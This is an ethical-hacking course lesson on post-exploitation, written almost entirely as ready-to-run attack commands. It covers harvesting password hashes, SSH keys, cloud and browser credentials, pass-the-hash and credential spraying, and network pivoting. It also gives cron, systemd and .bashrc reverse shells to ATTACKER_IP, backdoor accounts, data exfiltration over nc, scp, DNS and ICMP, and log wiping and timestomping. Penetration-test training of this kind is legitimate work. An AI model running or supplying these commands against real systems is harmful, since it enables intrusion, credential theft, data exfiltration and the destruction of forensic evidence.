Skip to content
← Ethical Hacking · advanced · 14 min · 10 / 31

Post-Exploitation

Lateral movement, persistence, data exfiltration, pivoting through networks — what happens after you have root.

post-exploitationlateral movementpersistencepivotingdata exfiltrationPass-the-Hash

Real-World Analogy

Getting root on one machine is breaking into the lobby. Post-exploitation is using the lobby to get to the server room, the HR filing cabinet, and the executive floor — methodically expanding from your initial position.

Post-Exploitation Goals

1. Situational awareness — what did I land on? Where is this?
2. Credential harvesting — find more usernames/passwords/keys
3. Lateral movement — pivot to other machines
4. Persistence — maintain access after reboot/detection
5. Data exfiltration — identify and extract target data
6. Covering tracks — minimize forensic evidence (scope-dependent)

Situational Awareness

# What machine am I on?
hostname
uname -a
cat /etc/os-release

# What network am I on?
ip addr show
ip route show
cat /etc/hosts        # internal hostname to IP mappings
arp -a               # cached ARP = other machines recently contacted

# What's running?
ps aux
ss -tulnp

# What data is here?
ls /home/
ls /var/www/
ls /opt/
find / -name "*.sql" 2>/dev/null       # database dumps
find / -name "*.csv" 2>/dev/null       # data exports
find / -name "*.key" -o -name "*.pem" 2>/dev/null  # crypto keys

Credential Harvesting

# /etc/shadow — Linux password hashes
cat /etc/shadow

# SSH private keys
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -path "*/ssh/*" 2>/dev/null

# Application config files with database credentials
find / -name "wp-config.php" 2>/dev/null   # WordPress
find / -name ".env" 2>/dev/null             # env files
find / -name "database.yml" 2>/dev/null     # Rails
find / -name "config.php" 2>/dev/null       # generic PHP apps
find / -name "settings.py" 2>/dev/null      # Django
find / -name "application.yml" 2>/dev/null  # Spring Boot

# Shell history
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history

# Browser saved credentials (Firefox)
ls ~/.mozilla/firefox/*.default/
python3 firefox_decrypt.py ~/.mozilla/firefox/*.default/

# AWS credentials
cat ~/.aws/credentials
env | grep AWS

Lateral Movement

Pass-the-Hash (Windows)

In Windows environments, NTLM hashes can authenticate directly — no cracking needed:

# With impacket (from Kali)
python3 /usr/share/doc/python3-impacket/examples/smbclient.py \
  DOMAIN/Administrator@192.168.1.200 \
  -hashes :NTLM_HASH_HERE

# PSExec with hash
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
  DOMAIN/Administrator@192.168.1.200 \
  -hashes :NTLM_HASH

# WMI exec with hash
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \
  DOMAIN/Administrator@192.168.1.200 \
  -hashes :NTLM_HASH

# With CrackMapExec
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH -x "whoami"

SSH Key Reuse

# Found private key during credential harvest
chmod 600 found_id_rsa

# Try the key against all discovered hosts
for host in $(cat live-hosts.txt); do
  for user in root admin ubuntu ec2-user www-data; do
    ssh -i found_id_rsa -o StrictHostKeyChecking=no -o ConnectTimeout=5 $user@$host "id" 2>/dev/null && echo "SUCCESS: $user@$host"
  done
done

Credential Spraying

# One password against many users/hosts
crackmapexec smb 192.168.1.0/24 -u userlist.txt -p 'Password123!'
crackmapexec ssh 192.168.1.0/24 -u userlist.txt -p 'Password123!'

# Hydra SSH spray
hydra -L users.txt -p 'Password123!' -t 4 192.168.1.0/24 ssh

Database Lateral Movement

# MySQL with harvested credentials
mysql -h 192.168.2.100 -u root -p'harvested_password'

# From inside MySQL — look for linked servers or reachable hosts
show databases;
use mysql;
select user,host,authentication_string from user;

# PostgreSQL
psql -h 192.168.2.100 -U postgres -c '\l'   # list databases
psql -h 192.168.2.100 -U postgres -c 'SELECT pg_read_file("/etc/passwd");'  # file read (if superuser)

# MSSQL linked servers
SELECT name FROM sys.servers;
EXEC('select @@version') AT [linked_server];
EXEC xp_cmdshell 'whoami';  # if xp_cmdshell enabled

Network Pivoting

When your compromise machine has access to subnets the attacker can’t reach directly:

Internet

[Kali Attacker]  →  [Compromised Machine]  →  [Internal Network 10.0.0.0/24]
 192.168.1.50       192.168.1.100 / 10.0.0.5    (not directly reachable)

SSH Tunneling

# Dynamic SOCKS proxy — route all traffic through the pivot
ssh -D 9050 -N user@192.168.1.100

# Configure proxychains to use it
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf

# Now scan the internal network through the pivot
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains curl http://10.0.0.10/internal-app

# Local port forward — access a specific internal service
ssh -L 3306:10.0.0.100:3306 user@192.168.1.100
# Now: mysql -h 127.0.0.1 -P 3306 connects to 10.0.0.100:3306

# Remote port forward — expose attacker port through the target
ssh -R 4444:127.0.0.1:4444 user@192.168.1.100
# Target machine: connect to localhost:4444 reaches attacker's listener

Metasploit Pivoting

# After getting a Meterpreter session:
meterpreter> run post/multi/manage/autoroute   # auto-add routes

# Or manually:
meterpreter> run autoroute -s 10.0.0.0/24

# Now scan from msf
msf6> use auxiliary/scanner/portscan/tcp
msf6> set RHOSTS 10.0.0.0/24
msf6> set PORTS 22,80,443,445,3306
msf6> run

# SOCKS proxy through Meterpreter
msf6> use auxiliary/server/socks_proxy
msf6> set SRVPORT 9050
msf6> set VERSION 5
msf6> run

# Use with proxychains (same as SSH pivot)
proxychains nmap -sT 10.0.0.100

Chisel — Fast TCP Tunneling

# On attacker (server mode)
./chisel server -p 8080 --reverse

# On target (client mode — connects back to attacker)
./chisel client 192.168.1.50:8080 R:9050:socks

# Now proxychains through port 9050 reaches internal network
proxychains curl http://10.0.0.10/

Persistence

Maintaining access in case the initial vulnerability gets patched:

Linux Persistence

# Add SSH key to root's authorized_keys
echo "ssh-rsa AAAA... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Add backdoor user
useradd -m -s /bin/bash -G sudo backdoor
echo 'backdoor:password123' | chpasswd

# Cron reverse shell
(crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") | crontab -

# Systemd service
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

# Bash backdoor (if .bashrc is root-owned or checked)
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> /root/.bashrc

Windows Persistence

# Registry Run key
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\Windows\Temp\shell.exe"

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\shell.exe" /sc onlogon /ru SYSTEM

# Service creation
sc create "WindowsUpdate" binpath= "C:\Windows\Temp\shell.exe" start= auto
sc start WindowsUpdate

# Add user to Administrators
net user backdoor Password123! /add
net localgroup administrators backdoor /add

Data Exfiltration

# Identify sensitive data
find / -name "*.sql" -o -name "*.csv" -o -name "*.xlsx" 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
grep -r "api_key\|secret\|token" /opt/ 2>/dev/null

# Compress and exfiltrate
tar czf /tmp/exfil.tar.gz /etc/shadow /root/.ssh/ /var/www/
# Transfer methods:

# Method 1: SCP (if outbound SSH allowed)
scp /tmp/exfil.tar.gz attacker@ATTACKER_IP:/tmp/

# Method 2: HTTP upload (netcat listener)
# Attacker:
nc -lvnp 8888 > received.tar.gz
# Target:
cat /tmp/exfil.tar.gz | nc ATTACKER_IP 8888

# Method 3: DNS exfiltration (when only DNS outbound is allowed)
# Split data into 63-char labels and send as DNS queries
# Attacker runs: sudo dnscat2-server example.com
# Target runs: dnscat2 --secret=PASS example.com

# Method 4: ICMP (when only ping allowed)
# Attacker: sudo python3 icmpsh_m.py ATTACKER_IP TARGET_IP
# Target: icmpsh.exe -t ATTACKER_IP

Covering Tracks (Engagement-Dependent)

Note: Many rules of engagement prohibit log deletion to preserve forensic artifacts. Always check scope.

# Clear bash history
history -c
unset HISTFILE
export HISTSIZE=0

# Clear specific log entries
sed -i '/192.168.1.50/d' /var/log/auth.log
sed -i '/your_username/d' /var/log/wtmp

# Timestomping — change file timestamps
touch -r /bin/bash /tmp/shell.elf    # copy timestamp from bash to your file

# Remove files
shred -u /tmp/exploit.sh             # secure delete